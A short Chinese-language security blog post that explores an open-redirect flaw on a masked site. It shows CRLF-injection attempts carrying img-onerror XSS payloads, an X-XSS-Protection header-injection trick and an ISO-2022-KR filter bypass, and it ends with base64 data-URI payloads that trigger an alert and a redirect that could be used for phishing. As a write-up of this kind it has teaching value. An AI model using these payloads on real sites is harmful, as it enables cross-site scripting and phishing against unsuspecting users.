由URL跳转发散开来

已知一个URL跳转漏洞

http://www.xxx.com/security/account/logout?redirect_uri=http://www.qq.com  

其响应头内容如下图所示 然后网页进行了302跳转。

发散一:有木有CRLF注入的问题
CRLF注入漏洞简单来说就是利用%0a%0d%0a%0d字符换行,然后再输入<img src=1 onerror=alert(/xss/)>等XSS代码进行利用,如果在绕过浏览器自带XSS Filter呢,还可以再添加一个请求头X-XSS-Protection:0来关掉浏览器的该功能,当然了,你还可以使用字符编码来绕过XSS Filter检测,当编码是is-2022-kr时浏览器会忽略%0f,这样我们在onerror后面加个%0f就能绕过filter,前提是注入一个<meta charset=ISO-2022-KR>
于是我就发送请求

http://www.xxx.com/security/account/logout?redirect_uri=%0a%0d%0a%0d<img/src=1 onerror=alert(1)>  

请求失败

http://www.xxx.com/security/account/logout?redirect_uri=%0aX-XSS-Protection:0%0a%0d%0a%0d<img/src=1 onerror=alert(1)>  

再次失败,看一下请求头与响应头 图片中可以看到,%0a%0d%0a%0d并不能实现换行,所以这里是不存在CRLF注入的问题的

发散二:鸡肋XSS漏洞

http://www.xxx.com/security/account/logout?redirect_uri=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==  

该方法能实现弹框效果,但是并不能获取与www.xxx.com站相关的任何信息,但是可以利用跳转到新页面上去钓鱼。当我写这篇文章的时候该网站已经不能直接进行URL跳转了,但是这个XSS漏洞依然存在着,所以我们可以利用该XSS的点进行URL跳转

http://www.baidu.com/security/account/logout?redirect_uri=data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24uaHJlZj0naHR0cDovL3d3dy5xcS5jb20nOzwvc2NyaXB0Pg==  

zhutougg

继续阅读此作者的更多文章